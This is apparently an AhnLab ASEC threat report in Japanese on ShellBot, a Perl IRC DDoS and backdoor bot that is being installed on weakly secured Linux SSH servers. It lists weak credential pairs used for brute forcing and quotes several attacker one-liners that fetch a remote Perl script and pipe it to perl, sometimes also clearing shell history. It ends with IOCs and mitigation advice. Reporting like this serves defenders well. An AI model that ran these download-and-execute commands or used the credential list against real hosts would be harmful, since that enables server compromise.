Linux SSH サーバーをターゲットに拡散している ShellBot マルウェア

AhnLab Security Emergency response Center (ASEC)では最近、不適切に管理されている Linux SSH サーバーを対象に ShellBot マルウェアがインストールされていることを確認した。PerlBot とも呼ばれる ShellBot は Perl 言語で開発された DDoS Bot マルウェアで、C&C サーバーと IRC プロトコルを利用して通信するのが特徴である。ShellBot は使用され続けている経歴の長いマルウェアであり、最近までも多数の Linux システムを対象に攻撃を行っている。

1. Linux SSH サーバーを対象にした攻撃キャンペーン

一般ユーザーの主な作業環境であるデスクトップとは異なり、サーバーは主に特定のサービスを提供する役割を担っている。そのため、デスクトップ環境ではマルウェアが主に Web ブラウザを通して、もしくはメールの添付ファイルを通して実行され、攻撃者もまたマルウェアのインストールを誘導するため、正常なプログラムに偽装してマルウェアを配布していた。サーバー環境を対象にした攻撃者は、このような方式でマルウェアを配布するのに限界があるため、他の方式を使用する。代表的には、不適切に管理されていたり、最新バージョンをパッチしていない脆弱性攻撃に脆弱なサービスが対象になる。

不適切に管理されているサービスには、単純な形態のアカウント情報を使用していることによって、辞書攻撃に脆弱なタイプがある。例えば、Windows OS を対象にした主な攻撃ベクトルの一つである Remote Desktop Protocol(RDP) および MS-SQL サービスが代表的である。Linux サーバー環境では主に Secure Shell(SSH) サービスが攻撃対象になり、古い Linux サーバーもしくは組みこみ Linux OS がインストールされた IoT 環境では Telnet サービスが辞書攻撃の対象になることもある。

今回ブログで取り扱う ShellBot マルウェアも、攻撃者がインストールしたスキャナーおよび SSH BruteForce マルウェアを利用して獲得したアカウント情報を利用し、インストールされたものと推定される。攻撃者は22番ポート、すなわち SSH サービスが動作するシステムをスキャニングした後、SSH サービスが動作しているシステムを探して、その後は頻繁に使用される SSH アカウント情報リストを利用し、辞書攻撃を行っていた。以下は ShellBot マルウェアをインストールする攻撃者が使用したアカウント情報リストである。(実際の攻撃では、これよりもはるかに多いアカウント情報が使用されていたが、代表的な例のみを整理する)

User Password
deploy password
hadoop hadoop
oracle oracle
root 11111
root Passw0rd
ttx ttx2011
ubnt ubnt
Table 1. ShellBot 攻撃者が使用したアカウント情報リストの一部

2. IRC(Internet Relay Chat) プロトコル

ShellBot の特徴としては、Perl 言語で開発されたこと以外にも C&C サーバーとの通信に IRC プロトコルを利用するといった点がある。IRC は1988年に開発された、リアルタイムインターネットチャットプロトコルである。ユーザーは、特定の IRC サーバーの特定チャンネルに接続し、同じチャンネルに接続した他のユーザーとリアルタイムでチャットを行うことができる。

IRC Bot は、このような IRC を悪用して C&C サーバーとの通信に使用するボット型マルウェアである。感染先のシステムにインストールされた IRC ボットは、IRC プロトコルによって攻撃者が指定した IRC サーバーのチャンネルに接続し、その後窃取した情報を当該チャンネルに流したり、攻撃者が特定の文字列を入力するとそれをコマンドとして受け取り、それに応じた不正な振る舞いを実行することができる。

追加の C&C サーバーおよびプロトコルを開発する必要なしに、すでに存在する IRC プロトコルを利用し、既存の IRC サーバーを活用できるという点から、IRC は以前からマルウェアによって利用され続けてきた。Windows 環境を対象とするマルウェアのうちでは、その比率は大幅に減少したが、Linux 環境の場合は現在でも、IRC ボットが多く配布されている。

3. ShellBot 解析

ShellBot は長期にわたって様々な攻撃者によって使用されており、以前 ASEC ブログでも CoinMiner と一緒に攻撃に使用された例を公開したことがある。

ShellBot は攻撃者ごとにカスタマイズされて使用されるため、少しずつ異なる形態や機能を持っているのが特徴である。ここでは最近拡散していることが確認された ShellBot マルウェアを基準に、大きく3つにカテゴライズして、インストールに使用されたコマンドと特徴、DDoS 攻撃を含む、簡単な機能について整理する。

3.1. LiGhT’s Modded perlbot v2

以下は「LiGhT’s Modded perlbot v2」と名づけられた ShellBot マルウェアである。

Figure 1.  ShellBot のバージョン情報

「LiGhT’s Modded perlbot v2」は様々な攻撃者によって使用されている。SSH サーバーログインに成功すると、以下のようなコマンドが ShellBot インストールに使用される。

ファイル名 インストールコマンド
ak wget -qO – x-x-x[.]online/ak|perl
perl nproc; nvidia-smi –list-gpus ;cd /tmp;wget -qO – http://34.225[.]57.146/futai/perl|perl;rm -rf perl
mperl cd /tmp ; wget 193.233.202[.]219/mperl ; perl mperl ; rm -rf mperl
niko2 cd /tmp ; wget 193.233.202[.]219/niko1 ; perl niko1 ; rm -rf niko1
Table 2. LiGhT’s Modded perlbot v2 をインストールするのに使用されたコマンド

C&C サーバーおよび入場するチャンネル名のような設定データは ShellBot の初期ルーティンに存在する。IRC チャンネルに入場するときに必要なニックネームは「IP-[ランダムな5桁の数字]」が使用される。

Figure 2. ShellBot の設定データ
ファイル名 C&C アドレス チャンネル名
ak 164.90.240[.]68:6667 #nou
per 164.132.224[.]207:80 #mailbomb
mperl 206.189.139[.]152:6667 #Q
niko1 176.123.2[.]3:6667 #X
Table 3. LiGhT’s Modded perlbot v2 の C&C アドレスおよびチャンネル

「LiGhT’s Modded perlbot v2」バージョンの ShellBot は様々な機能を提供しているが、大きく以下のように分類される。実質的に悪意のある目的で使用される可能性のあるコマンドと言えば、TCP、UDP、HTTP Flooding のような DDoS コマンド、そしてリバースシェル、ログ削除、スキャナーのような感染システムを制御して他の攻撃に利用できるようにする様々なコマンドがある。

コマンド(分類) 説明
flooding IRC Flooding
irc IRC 制御コマンド
ddos DDoS コマンド
TCP, UDP, HTTP, SQL Flooding など
news セキュリティ Web ページに対する DDoS 攻撃コマンド
hacking 攻撃コマンド
MultiScan, Socks5, LogCleaner, Nmap, Reverse Shell など
linuxhelp ヘルプ
extras 追加機能 (DDos 攻撃関連と推定)
version バージョン情報の出力
Table 4. LiGhT’s Modded perlbot v2 がサポートする機能

3.2. DDoS PBot v2.0

「LiGhT’s Modded perlbot v2」以外に「DDoS PBot v2.0」も様々な攻撃に使用されていた。「DDoS PBot v2.0」は、初期ルーティンで見ることのできる注釈に、基本的な情報と使用できるコマンドを表示するのが特徴である。

Figure 3. DDoS PBot v2.0 の初期ルーティン

以下は「DDoS PBot v2.0」をインストールするのに使用されるコマンドである。

ファイル名 インストールコマンド
bash wget -qO – 80.94.92[.]241/bash|perl
test.jpg uname -a;wget -q -O- hxxp://185.161.208[.]234/test.jpg|perl;curl -sS hxxp://185.161.208[.]234/test.jpg|perl;nproc;history -c
dred uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.165.53[.]17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred
Table 5. DDoS PBot v2.0 をインストールするのに使用されたコマンド

「DDoS PBot v2.0」は「abbore」、「ably」、「abyss」を含む500個以上のニックネームのうち一つをランダムに選択して IRC チャンネルに入場するのが特徴である。

Figure 4. DDoS PBot v2.0 のニックネームリスト
ファイル名 C&C アドレス チャンネル名
bash 51.195.42[.]59:8080 #sex
test.jpg gsm.ftp[.]sh:1080 #test
dred 192.3.141[.]163:6667 #bigfalus
Table 6. DDoS PBot v2.0 の C&C アドレスおよびチャンネル

一般的な IRC Bot は IRC チャンネルで攻撃者が下したコマンドを受け取って、不正な振る舞いを実行する。そのため、コマンドを下す攻撃者を検証する必要がある。検証プロセスがない場合、他のユーザーがそのチャンネルに入場し、勝手に Bot を制御することができるためである。

そのため、IRC Bot は追加のタスクを実行するのに、コマンドを下すためにチャンネルに入場したユーザーのニックネームとホストアドレスを検証する。例えば、「bash」マルウェアでユーザーのニックネームは「admins」変数で指定された「crond」、「drugs」、「tab」のうちの一つでなけらばならず、ホストアドレスは「hostauth」変数で指定された「localhost」でなければならない。

Figure 5. DDoS PBot v2.0 の設定データ

「DDoS PBot v2.0」もまた、一般的な ShellBot と同じく DDoS 攻撃を含む、様々な悪意のあるコマンドを提供する。

コマンド(分類) 説明
system 感染システム情報の出力
version バージョン情報の出力
channel IRC 制御コマンド
flood DDoS コマンド
TCP, UDP, HTTP, SQL Flooding など
utils 攻撃コマンド
Port Scan, Reverse Shell, ファイルダウンロードなど
Table 7. DDoS PBot v2.0 がサポートする機能

3.3. PowerBots (C) GohacK

PowerBots は上記で取り扱った ShellBot タイプよりも単純な形態であることが特徴である。

Figure 6. PowerBots の設定データ
ファイル名 インストールコマンド
ff uname -a ;wget -qO – hxxp://80.68.196[.]6/ff|perl &>>/dev/null
Table 8. PowerBots をインストールするのに使用されたコマンド
ファイル名 C&C アドレス チャンネル名
ff 49.212.234[.]206:3303 #x
Table 9. DDoS PBot v2.0 の C&C アドレスおよびチャンネル

様々な DDoS 攻撃機能を提供する ShellBot タイプとは異なり、リバースシェルおよびファイルダウンロード機能が主な機能であることを見ると、攻撃者はバックドアとして ShellBot をインストールしたものと推定される。

コマンド 説明
ps ポートスキャニング
namp NMAP ポートスキャニング
rm 特定パスのファイル削除
version バージョン情報の出力
down ファイルのダウンロード
udp UDP Flooding 攻撃
back Reverse Shell
Table 10. PowerBots がサポートする機能

4. 結論

最近不適切に管理されている Linux SSH サーバーを対象に、攻撃者が ShellBot マルウェアをインストールしている。このようなタイプの攻撃は以前から行われ続けており、最近までも多数の攻撃が確認されている。ShellBot がインストールされる場合、Linux サーバーは攻撃者のコマンドを受け、特定の対象について DDoS 攻撃を実行する DDoS Bot として使用されることがあり、それ以外にも様々なバックドア機能を通して追加マルウェアがインストールされたり、他の攻撃に使用される可能性がある。

そのため、管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護しなければならず、セキュリティパッチを最新にして脆弱性攻撃を防止しなければならない。また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

ファイル検知
– Shellbot/Perl.Generic.S1100 (2020.02.12.00)
– Shellbot/Perl.Generic.S1118 (2020.02.19.07)

IOC
MD5

– bef1a9a49e201095da0bb26642f65a78 : ak
– 3eef28005943fee77f48ac6ba633740d : mperl
– 55e5bfa75d72e9b579e59c00eaeb6922 : niko1
– 6d2c754760ccd6e078de931f472c0f72 : perl
– 7ca3f23f54e8c027a7e8b517995ae433 : bash
– 2cf90bf5b61d605c116ce4715551b7a3 : test.jpg
– 7bc4c22b0f34ef28b69d83a23a6c88c5 : dred
– 176ebfc431daa903ef83e69934759212 : ff

ダウンロードアドレス
– x-x-x[.]online/ak
– 193.233.202[.]219/mperl
– 193.233.202[.]219/niko1
– hxxp://34.225.57[.]146/futai/perl
– 80.94.92[.]241/bash
– hxxp://185.161.208[.]234/test.jpg
– hxxp://39.165.53[.]17:8088/iposzz/dred
– hxxp://80.68.196[.]6/ff

C&C 주소
– 164.90.240[.]68:6667 : ak
– 206.189.139[.]152:6667 : mperl
– 176.123.2[.]3:6667 : niko1
– 164.132.224[.]207:80 : perl
– 51.195.42[.]59:8080 : bash
– gsm.ftp[.]sh:1080 : test.jpg
– 192.3.141[.]163:6667 : dred
– 49.212.234[.]206:3303 : ff

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

0 0 votes
評価する
Subscribe
Notify of
guest

2 コメント
Inline Feedbacks
View all comments
trackback

[…] Bot の場合、過去の ASEC ブログで ShellBot [1]、ChinaZ DDoS […]

trackback

[…] では、過去のブログで ShellBot 攻撃事例を公開しており、[1] 持続的に攻撃元(Attack Source)、ダウンロードと C&C […]